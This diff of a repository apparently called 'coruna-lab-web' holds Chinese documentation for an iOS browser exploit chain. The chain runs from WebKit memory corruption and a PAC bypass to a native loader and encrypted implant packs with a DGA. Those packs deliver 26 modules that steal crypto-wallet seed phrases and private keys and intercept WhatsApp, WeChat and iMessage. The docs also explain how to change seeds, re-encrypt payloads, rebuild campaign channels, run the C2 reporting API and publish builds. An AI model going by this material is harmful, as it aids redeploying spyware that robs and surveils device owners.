||||||
|
|
||||||
|
`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`(lab 已摊平到同路径)。
|
||||||
|
|
||||||
|
### Wire 后缀(实测)
|
||||||
|
|
||||||
|
| 类型 | 客户端实际请求 | 说明 |
|
||||||
|
|------|----------------|------|
|
||||||
|
| Stage JS | `<40hex>.js` | 无 `.min.js` |
|
||||||
|
| **一级原生包** | **`<40hex>.js`** | 按机型/版本选 flags;**不是** `.min.js` |
|
||||||
|
| **二级 type-0x01** | **`<40hex>.min.js`** | type 0x07 元数据里的文件名带 `.min.js` |
|
||||||
|
|
||||||
|
Campaign / lab 目录里同一 stem 常同时存在 `.js` 与 `.min.js`,且**内容不同**(`.js` 通常更大)。链路只拉上表对应后缀;另一份是同 stem 的另一产物,不要当成重复别名删掉。
|
||||||
|
|
||||||
|
**`coruna-online` 落盘为分析拆目录,不是三条不同 URL:**
|
||||||
|
|
||||||
|
| 类型 | 线上相对路径(wire) | `coruna-online` 落盘 |
|
||||||
|
|------|----------------------|----------------------|
|
||||||
|
| Stage JS / 入口 | `{base}/<name>` | 仓库根目录(见 [`STAGE_JS.md`](./STAGE_JS.md)) |
|
||||||
|
| 一级原生包 | `{base}/<40hex>.js` | 历史多落在 `payloads/<40hex>.min.js`;**以线上 `.js` 为准**同步到 lab |
|
||||||
|
| 二级 type-0x01 | `{base}/<40hex>.min.js` | `c2_fetch/<40hex>.min.js`(部分副本带 `xxxxxxxx_` 前缀,lab 已归一) |
|
||||||
|
|
||||||
|
## 联系
|
||||||
|
|
||||||
|
```text
|
||||||
|
Stage3
|
||||||
|
→ 下载「一级包」.js(按机型/版本选 flags)
|
||||||
|
→ 解密 → F00DBEEF:0x08 / 0x09 / 0x0f / (0x0a) + **type 0x07 元数据**
|
||||||
|
→ type 0x07 给出二级文件名 + ChaCha key
|
||||||
|
→ 再下载「二级包」.min.js
|
||||||
|
→ 解密 → F00DBEEF type **0x01**(SpringBoard 管理器,含 Deployment DGA)
|
||||||
|
→ DGA → /sync/daily.html → sync/ 下 26 个模块
|
||||||
|
```
|
||||||
|
|
||||||
|
| 层级 | 线上看起来 | 解开后 | 作用 |
|
||||||
|
|------|------------|--------|------|
|
||||||
|
| **一级包** | ChaCha 加密 **`.js`** | F00DBEEF:利用/implant(0x08 powerd、0x09、0x0f 等)+ **0x07 指针** | 提权与落地;**0x07 点名二级包** |
|
||||||
|
| **二级包** | 另一 key 的 **`.min.js`**(key 在 0x07) | F00DBEEF:**仅 type 0x01** dylib | DGA、拉 `daily.html`、下模块、注入 |
|
||||||
|
|
||||||
|
一级 ≠ type-0x01;靠一级内的 **0x07** 才接到二级。一级失败则不会拉对应二级包。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一级包一览(`payloads/` → lab `web/…/`)
|
||||||
|
|
||||||
|
清单文件名按 **wire(`.js`)** 书写。lab 中同 stem 的 `.min.js` 为另一份线上产物,体积更小,链路默认不请求。
|
||||||
|
|
||||||
|
| lab / 线上文件名(wire) | flags | 内含类型 | `coruna-online` 来源(历史落盘名) |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js` | `0xf230` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/054bcb73….min.js` |
|
||||||
|
| `e406714e92671b5218496fcb6666734411cb2320.js` | `0xf330` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/e406714e….min.js` |
|
||||||
|
| `694c829e379e12085de6158b85f32509f54f4796.js` | `0xf240` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/694c829e….min.js` |
|
||||||
|
| `3b0133801a3f844e7ebafa0363f2423a50005b72.js` | `0xf340` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/3b013380….min.js` |
|
||||||
|
| `6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js` | `0xf270` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6f8a7a3b….min.js` |
|
||||||
|
| `eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js` | `0xf370` | 0x08, 0x09, 0x0f, 0x07, 0x05, 0x09, 0x07 | `payloads/eb3e81b5….min.js` |
|
||||||
|
| `6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js` | `0xf280` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6bbb364c….min.js` |
|
||||||
|
| `99010a27e08b3312650c8d9f321958433e577a30.js` | `0xf380` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/99010a27….min.js` |
|
||||||
|
| `6539c1e0dc731ea7c7011af236cc7c2871af7c40.js` | `0xf290` | 0x08, 0x09, 0x0f, 0x07, 0x07 | `payloads/6539c1e0….min.js` |
|
||||||
|
| `c9118a62558ed444a64c2dfe350c6c57fa277a3a.js` | `0xf390` | 0x08, 0x09, 0x0f, 0x07, 0x05, 0x09, 0x07 | `payloads/c9118a62….min.js` |
|
||||||
|
| `076de672aebfc78137aa863e51ff3d8980dcdd10.js` | `0xf373` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/076de672….min.js` |
|
||||||
|
| `62415a3d105a8c40c41b19cf456e8474fe441359.js` | `0xf383` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/62415a3d….min.js` |
|
||||||
|
| `a5847c3e2e439e2f7c4b1582932cf81a06100981.js` | `0xf275` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/a5847c3e….min.js` |
|
||||||
|
| `f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js` | `0xf375` | 0x08, 0x09, 0x0f, 0x07, 0x0a, 0x07 | `payloads/f7994d47….min.js` |
|
||||||
|
| `a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js` | `0xa205` | 0x08, 0x0a | `payloads/a13a74c0….min.js` |
|
||||||
|
| `f10b572f33adf343a7398487c3f4cc71088b56ab.js` | `0xa305` | 0x08, 0x0a | `payloads/f10b572f….min.js` |
|
||||||
|
| `906a996fa11bcaa5347c6453e328f538d17d5dbf.js` | `0xa306` | 0x08, 0x0a | `payloads/906a996f….min.js` |
|
||||||
|
| `4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js` | `0xa303` | 0x08, 0x0a, 0x0a | `payloads/4614dd1c….min.js` |
|
||||||
|
| `d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js` | `0xa304` | 0x08, 0x0a, 0x0a | `payloads/d1a39a28….min.js` |
|
||||||
|
|
||||||
|
解出的中间 dylib:`coruna-online/payloads/*_type0xNN.dylib`(lab 未复制)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二级包一览(`c2_fetch/` → lab `web/…/`)
|
||||||
|
|
||||||
|
均为 type **0x01** SpringBoard helper(含 DGA)。Wire 文件名为 **`.min.js`**。
|
||||||
|
|
||||||
|
**为何 10 个二级包、实质只有 2 份 dylib:**
|
||||||
|
|
||||||
|
| dylib SHA-256(前 16) | 体积 | stem 数 | 成员 |
|
||||||
|
|---|---:|---:|---|
|
||||||
|
| `8bef11cb6cdf18f9…` | 347472 | 5 | `039c68f0` / `34736715` / `65704c07` / `6bac8b93` / `743312ca` |
|
||||||
|
| `124f9b07b58c90c3…` | 362056 | 5 | `1d0df5a0` / `242a0afb` / `630c2b42` / `7cb20652` / `7f208248` |
|
||||||
|
|
||||||
|
差异在**投递包装**,不是两套 DGA:各一级包的 type **0x07** 点名不同 `<stem>.min.js` 并带不同 ChaCha key;两条构建内 Deployment/Reporting **seed 相同**。改 seed:改 2 个唯一 dylib → 用各自 type07 key 重加密要用到的二级 `.min.js`(要覆盖全部一级变体则 10 个都重打)。
|
||||||
|
|
||||||
|
| lab / 线上文件名 | `coruna-online` 来源 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| `039c68f0ca742a85e94516818385a9eca2e204d8.min.js` | `c2_fetch/039c68f0….min.js` | 二级 type-0x01 |
|
||||||
|
| `1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js` | `c2_fetch/1d0df5a0….min.js` | 二级 type-0x01 |
|
||||||
|
| `242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js` | `c2_fetch/242a0afb….min.js` | 二级 type-0x01 |
|
||||||
|
| `347367155da44f3efcc9053337913061079610b9.min.js` | `c2_fetch/34736715….min.js` | 二级 type-0x01 |
|
||||||
|
| `630c2b42300333d91588353d43afab9ec8325e09.min.js` | `c2_fetch/630c2b42….min.js` | 二级 type-0x01 |
|
||||||
|
| `65704c0722165a7bdedad3f3f61258b2f95470f6.min.js` | `c2_fetch/65704c07….min.js` | HAR 中出现过的二级包之一 |
|
||||||
|
| `6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js` | `c2_fetch/6bac8b93….min.js` | 二级 type-0x01 |
|
||||||
|
| `743312cafb58176af57b89098d94dca1c60f8d1e.min.js` | `c2_fetch/743312ca….min.js` | 二级 type-0x01 |
|
||||||
|
| `7cb20652ef7156e931f894dd3d99f24601b80368.min.js` | `c2_fetch/7cb20652….min.js` | 二级 type-0x01 |
|
||||||
|
| `7f208248c748f97956fe4a7cf246c91235852e67.min.js` | `c2_fetch/7f208248….min.js` | 二级 type-0x01 |
|
||||||
|
|
||||||
|
解出的 dylib:`coruna-online/c2_fetch/<stem>_type0x01.dylib`(lab 未复制)。
|
||||||
|
|
||||||
|
业务模块见 [`SYNC.md`](./SYNC.md)。
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
# coruna-lab-web 文档
|
||||||
|
|
||||||
|
| 文件 | 内容 |
|
||||||
|
|------|------|
|
||||||
|
| [`STAGE_JS.md`](STAGE_JS.md) | 入口 HTML、Stage1/2/3、beacon |
|
||||||
|
| [`NATIVE_PACKS.md`](NATIVE_PACKS.md) | 一级包 / 二级 type-0x01:路径、联系、清单 |
|
||||||
|
| [`SYNC.md`](SYNC.md) | `/channel/<id>/sync/daily.html` 与 26 个业务模块职责 |
|
||||||
|
| [`C2_API.md`](C2_API.md) | C2 上报接口(Laravel 侧实现) |
|
||||||
|
| [`../tools/README.md`](../tools/README.md) | seed / 域名 / channel 重建 |
|
||||||
|
| [`../../docs/BUILD_API.md`](../../docs/BUILD_API.md) | 独立构建 API 与部署 |
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# Stage JS 与入口
|
||||||
|
|
||||||
|
线上与 lab 均位于 campaign base:
|
||||||
|
|
||||||
|
```text
|
||||||
|
web/34f5121f572d6742703eb84ec2f866a6/
|
||||||
|
```
|
||||||
|
|
||||||
|
`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。
|
||||||
|
|
||||||
|
## 阶段职责
|
||||||
|
|
||||||
|
| 阶段 | 作用 |
|
||||||
|
|------|------|
|
||||||
|
| 入口 | `support.html` 选分支、设 module base、拉 Stage |
|
||||||
|
| Stage1 | WebKit/WASM 内存破坏与读写原语 |
|
||||||
|
| Stage2 | PAC / JIT cage |
|
||||||
|
| Stage3 | 原生 loader,再拉一级 `.js` 包(二级为 `.min.js`,见 [`NATIVE_PACKS.md`](./NATIVE_PACKS.md)) |
|
||||||
|
| helper | offsets wrapper、加密 manifest / beacon |
|
||||||
|
|
||||||
|
命名:`sha256(salt + id)[:40].js`,salt = `9eb2b99484c8f631`。
|
||||||
|
|
||||||
|
## 文件对照
|
||||||
|
|
||||||
|
| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` |
|
||||||
|
|---|---|---|
|
||||||
|
| `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) |
|
||||||
|
| `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` |
|
||||||
|
| `700491384cc59bd25c3aa4dd670c8660963bffe3.js` | Stage1 | `Stage1_15.6_16.1.2_bluebird.js` |
|
||||||
|
| `3c04ae31f9ba8f809b275be4b3fa93deb558902c.js` | Stage1 | `Stage1_16.2_16.5.1_terrorbird.js` |
|
||||||
|
| `1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js` | Stage1 | `Stage1_16.6_17.2.1_cassowary.js` |
|
||||||
|
| `40a27e7916aa554e6d38d39beb6bb7ee095692ed.js` | Stage1 fallback | `other/Stage1_13.0_15.1.1_buffout.js` |
|
||||||
|
| `9075c25766e57019db4c86fac179b03ebf1b56e5.js` | Stage2 | `Stage2_13.0_14.x_breezy.js` |
|
||||||
|
| `b099ff22b5c8e65654744fd307d81ad208009103.js` | Stage2 | `Stage2_15.0_16.2_breezy15.js` |
|
||||||
|
| `651774047bf8d72258a5f04785c9dabf5e793670.js` | Stage2 pre/PAC | `Stage2_16.6_17.2.1_seedbell_pre.js` |
|
||||||
|
| `291b914c574e1196039313595217367c44cca436.js` | Stage2 | `Stage2_16.6_16.7.12_seedbell.js` |
|
||||||
|
| `0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js` | Stage2 | `Stage2_17.0_17.2.1_seedbell.js`(特征偏 seedbell;对应置信低于上列) |
|
||||||
|
| `0c297489d8c9d5470bfce17b0d99da3338b44a18.js` | Stage3 VariantA | `Stage3_VariantA.js` |
|
||||||
|
| `9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js` | Stage3 VariantB | `Stage3_VariantB.js` |
|
||||||
|
| `ad970e88980634bcb2eda0c998a27881686dd29e.js` | offsets / qbrdr wrapper | (`coruna/` 无同名 Stage 文件) |
|
||||||
|
| `ad970e88980634bcb2eda0c998a27881686dd29e.min.js` | 加密 manifest / exploit beacon | (`coruna/` 无同名 Stage 文件) |
|
||||||
|
|
||||||
|
本批 dump 中未见与 `Stage2_16.3_16.5.1_seedbell.js` 明确对上的哈希文件。
|
||||||
|
|
||||||
|
下一步见 [`NATIVE_PACKS.md`](NATIVE_PACKS.md)(一级 / 二级包)。
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
# sync/ — Deployment 配置与业务模块
|
||||||
|
|
||||||
|
构建产物按渠道隔离在 `<artifact-root>/channel/<id>/sync/`,线上路径为
|
||||||
|
`/channel/<id>/sync/*`。原始样本使用 `/sync/*`。
|
||||||
|
内容来自 `coruna-online` 抓包/离线恢复;职责摘自
|
||||||
|
[`CORUNA_COMPLETE_DATAFLOW_REPORT.md`](../../coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md)
|
||||||
|
与 [`PAYLOAD_INVENTORY.md`](../../coruna-online/evidence/cases/2026-08-02-coruna-all-26/PAYLOAD_INVENTORY.md)。
|
||||||
|
|
||||||
|
扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。
|
||||||
|
|
||||||
|
拉取顺序:type-0x01 经 Deployment DGA 选中主机 →
|
||||||
|
`GET /channel/<id>/sync/daily.html` → 按配置再拉
|
||||||
|
`/channel/<id>/sync/<wire>`(本机按需,不一定 26 个全下)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 配置
|
||||||
|
|
||||||
|
| 文件 | 作用 | `coruna-online` 来源 |
|
||||||
|
|---|---|---|
|
||||||
|
| `daily.html` | 加密 netconfig:给出 26 项 URL(含 `[HOST_PLACEHOLDER]`)、size、sha256;客户端用当前 Deployment host rebase | `evidence/cases/2026-08-02-coruna-har/responses/har-36_6b5f8ad2….body` |
|
||||||
|
|
||||||
|
明文配置副本(未放本目录):
|
||||||
|
`coruna-online/evidence/cases/2026-08-02-coruna-all-26/configs/bae5299f….json`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 26 个模块
|
||||||
|
|
||||||
|
| # | `/sync/` 文件 | 解包名 | 目标 | 作用 |
|
||||||
|
|---:|---|---|---|---|
|
||||||
|
| 1 | `erupt_flee.js` | `tmp.dylib` | **core** | 配置/DGA、下载校验、模块存储、选择性注入、热更新、心跳;扫描 Photos 与 Apple Notes |
|
||||||
|
| 2 | `swap-ritual.ts` | `webclip.dylib` | SpringBoard | `/link/config/list`、`/link/config/icon`,创建/更新 WebClip 与图标 |
|
||||||
|
| 3 | `short_thing.js` | `whatsapp_notnotify.dylib` | SpringBoard | WhatsApp 登录/账户类通知抑制辅助 |
|
||||||
|
| 4 | `aware_retreat.css` | `MarqueeLabel.dylib` | BitKeep `com.bitkeep.os` | 读 bitkeep.db / Flutter auth;提取助记词、私钥、地址与资产 |
|
||||||
|
| 5 | `wash_indicate.js` | `ReachabilitySwift.dylib` | Bitpie | 观察 BIP39 生成;读 `bcoins.sqlite`;上报助记词/地址/余额 |
|
||||||
|
| 6 | `entry-praise.htm` | `BranchDeepLinker.dylib` | Coin98 | 读 RN/MMKV `walletCacheRedux`;解析 chain/address/mnemonic/privateKey/balance |
|
||||||
|
| 7 | `card_alcohol.htm` | `IQKeyboardRetainer.dylib` | Coinbase Wallet | Hook 存助记词;读 SQLite `main.wallet` |
|
||||||
|
| 8 | `curious-tuna.ts` | `LottieAnimation.dylib` | Exodus | 读 RN AsyncStorage / bridge;解析 wallet/mnemonic/资产 |
|
||||||
|
| 9 | `valve-okay.htm` | `MasonryConstraint.dylib` | imToken | Hook 密码输入;解密 `walletsV2`;上报钱包/助记词(HAR 已证实) |
|
||||||
|
| 10 | `squirrel-chuckle.css` | `AmplitudeSession.dylib` | Krystal | 读 wallets / Keychain;资产 JSON |
|
||||||
|
| 11 | `range_hockey.ts` | `CocoaLumberjack.dylib` | MetaMask | Hook 密码;读 persistStore;AES 解 `data.mnemonic` |
|
||||||
|
| 12 | `exact_unveil.html` | `SAMKeychainStore.dylib` | MyTonWallet | WKWebView 截获 passcode;解 `mnemonicEncrypted` |
|
||||||
|
| 13 | `cradle-barely.html` | `RealmDatabase.dylib` | Phantom | 读 MMKV;观察 `mnemonicFromEntropy:`;账户/余额 |
|
||||||
|
| 14 | `enough_lend.ts` | `MixpanelAnalytics.dylib` | Ronin | 观察 wallet/portfolio;上报地址/余额 |
|
||||||
|
| 15 | `page_human.css` | `AdjustEventTracker.dylib` | Solflare | 读 Flutter vault;passcode / seedPhrase / accounts |
|
||||||
|
| 16 | `mouse_announce.js` | `ChameleonFramework.dylib` | Global Wallet | Hook JSON;捕获 mnemonic/privateKey 等(HAR 已证实私钥) |
|
||||||
|
| 17 | `canal_sugar.htm` | `SwiftyJSONParser.dylib` | Tonhub | 解密 secret/mnemonic;取地址/余额 |
|
||||||
|
| 18 | `left-case.css` | `PINRemoteImage.dylib` | Tonkeeper | 读 `mnemonics_vault_` 等;解助记词 |
|
||||||
|
| 19 | `diagram-ship.css` | `YYImageDecoder.dylib` | TronLink | Hook 密码;读 keystore/SQLite;解地址/余额 |
|
||||||
|
| 20 | `shrimp-artefact.htm` | `AppsFlyerConversion.dylib` | Trust Wallet | Realm/keystore;提取助记词与资产 |
|
||||||
|
| 21 | `fresh_sausage.js` | `TPKeyboardAvoiding.dylib` | Uniswap | 读 mnemonic keychain / portfolio |
|
||||||
|
| 22 | `win_wife.css` | `MBProgressOverlay.dylib` | OKX | Hook backup seed VM;读 wallet SQL(配置中常 `active:false`) |
|
||||||
|
| 23 | `future-destroy.htm` | `libCoreSymbolicationHelper.dylib` | SpringBoard | 注入代理 / Helion IPC;与 core 协作 |
|
||||||
|
| 24 | `chunk_hen.ts` | `libAggregateDictionaryClient.dylib` | WhatsApp | 截获消息/媒体元数据并上报 |
|
||||||
|
| 25 | `candy_ketchup.html` | `WeChat.dylib` | 微信 | 本地 OCR/QR/敏感词/BIP39;命中后经 C2 上传 |
|
||||||
|
| 26 | `horror-monster.ts` | `libDataAccessServices.dylib` | `imagent` | Hook SMS/iMessage;profile 与事件上报 |
|
||||||
|
|
||||||
|
Lab 内路径(均在 `frontend/` 下):
|
||||||
|
|
||||||
|
| 路径 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| `source/sync/` | 原始 wire(混淆头 + 密码 7z)模板 |
|
||||||
|
| `source/sync_dylibs/` | 解包后的明文 dylib(`patch_core` 改 channel/seed 的输入) |
|
||||||
|
| `source/type0x01_dylibs/` | type-0x01 明文 dylib(`patch_secondary_packs` 输入) |
|
||||||
|
| `source/sync_config/daily.body` | daily netconfig 原始 body(用于重建 `daily.html`) |
|
||||||
|
| `tools/sync_modules.json` | wire ↔ member ↔ `source/sync_dylibs/` 清单 |
|
||||||
|
| `tools/vendor/` | 离线辅助库(原 `coruna-online/module_hunt` 子集) |
|
||||||
|
|
||||||
|
构建只读上述路径;独立构建服务在 staging 中生成渠道完整目录,校验后原子发布。
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,2 @@
|
|||||||
|
Plaintext type-0x01 helper dylibs used by tools/patch_secondary_packs.py.
|
||||||
|
Originally from coruna-online/c2_fetch/*_type0x01.dylib.
|
||||||
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js
Vendored
BIN
Binary file not shown.
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user